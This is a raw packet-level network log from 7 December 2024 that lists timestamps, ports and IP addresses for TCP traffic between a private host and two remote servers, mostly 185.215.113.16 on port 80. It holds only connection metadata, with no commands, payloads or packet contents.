Dec 7, 2024 18:27:04.680896044 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.680943966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.681108952 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.681153059 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.681337118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.681349993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.681380987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.681400061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.681973934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.682013988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.682132006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.682143927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.682182074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.682785034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.682833910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.682960033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.682972908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.683003902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.683017015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.683573961 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.683619022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.683814049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.683828115 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.683864117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.684412956 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.684458971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.684627056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.684638977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.684670925 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.684684038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.685283899 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.685331106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.685422897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.685436010 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.685466051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.685481071 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.686084032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.686131001 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.686218023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.686228991 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.686260939 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.686276913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.686954975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.686999083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.687102079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.687114000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.687150002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.687776089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.687827110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.687922001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.687932968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.687964916 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.687983990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.688627958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.688674927 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.688884974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.688895941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.688927889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.689522028 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.689567089 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.689656973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.689667940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.689702988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.690340042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.690382004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.690495968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.690506935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.690543890 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.691178083 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.691224098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.691323042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.691333055 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.691370010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.692071915 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.692116976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.692225933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.692236900 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.692270994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.692900896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.692945957 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.693028927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.693063974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.693072081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.693099022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.694158077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.694205999 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.694299936 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.694310904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.694346905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.694871902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.694916964 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.694981098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.694993019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.695028067 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.695504904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.695552111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.695630074 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.695641041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.695674896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.696350098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.696397066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.696471930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.696484089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.696558952 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.697228909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.697276115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.697361946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.697371960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.697403908 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.698003054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.698045969 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.698159933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.698189974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.698218107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.698230028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.698859930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.698904037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.699197054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.699208021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.699238062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.699445963 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.699486971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.700038910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.700082064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.700200081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.700211048 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.700242043 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.700254917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.700855017 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.700908899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.700993061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.701004982 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.701035976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.701723099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.701761007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.701864958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.701877117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.701908112 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.701921940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.702734947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.702780008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.702866077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.702877998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.702905893 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.702924013 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.703524113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.703564882 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.703663111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.703675032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.703706980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.703730106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.704272985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.704315901 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.704446077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.704457998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.704495907 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.705130100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.705168962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.705282927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.705295086 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.705327988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.706026077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.706068039 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.706175089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.706185102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.706213951 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.706911087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.706952095 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.707039118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.707072973 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.709005117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.709064007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.709095001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.709131956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.709167004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.709208012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.709408998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.709429026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.709449053 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.709459066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.710031033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.710072041 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.710167885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.710179090 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.710206032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.710217953 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.820507050 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.824424028 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.824506044 CET	49836	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.824542999 CET	49836	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.824565887 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.824577093 CET	49836	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.824582100 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.827549934 CET	49841	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.827603102 CET	443	49841	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.827666044 CET	49841	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.827799082 CET	49841	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.827811003 CET	443	49841	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.871804953 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.871891975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.871936083 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.871949911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.871982098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.872004986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.872334003 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.872500896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.872577906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.872591019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.872625113 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.872639894 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.872982979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.873030901 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.873162985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.873208046 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.873373985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.873385906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.873424053 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.873842955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.873895884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.873995066 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.874007940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.874042988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.874712944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.874769926 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.874850035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.874864101 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.874901056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.875583887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.875631094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.875715971 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.875730038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.875761032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.876437902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.876481056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.876600981 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.876620054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.876645088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.876657963 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.877265930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.877311945 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.877445936 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.877459049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.877489090 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.877502918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.878134012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.878177881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.878269911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.878283978 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.878312111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.878325939 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.878993034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.879031897 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.879160881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.879173994 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.879204035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.879216909 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.879842043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.879889965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.879980087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.879992962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.880023003 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.880034924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.880759001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.880805016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.880898952 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.880918026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.880943060 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.880955935 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.881527901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.881570101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.881692886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.881705999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.881736994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.882400990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.882445097 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.882535934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.882549047 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.882579088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.882591009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.883265972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.883318901 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.883414984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.883428097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.883452892 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.883471012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.884155035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.884200096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.884387016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.884398937 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.884432077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.885063887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.885107040 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.885183096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.885196924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.885225058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.885237932 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.885822058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.885864973 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.885974884 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.885986090 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.886023045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.886739969 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.886784077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.886907101 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.886918068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.886950970 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.887602091 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.887646914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.887775898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.887789011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.887825012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.887840033 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.888360023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.888405085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.888535023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.888545990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.888578892 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.889292955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.889336109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.889457941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.889468908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.889503956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.890080929 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.890122890 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.890239954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.890250921 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.890285969 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.890944004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.890985012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.891104937 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.891115904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.891149998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.891836882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.891880035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.892054081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.892096043 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.892224073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.892234087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.892271996 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.892930984 CET	80	49831	185.215.113.16	192.168.2.7
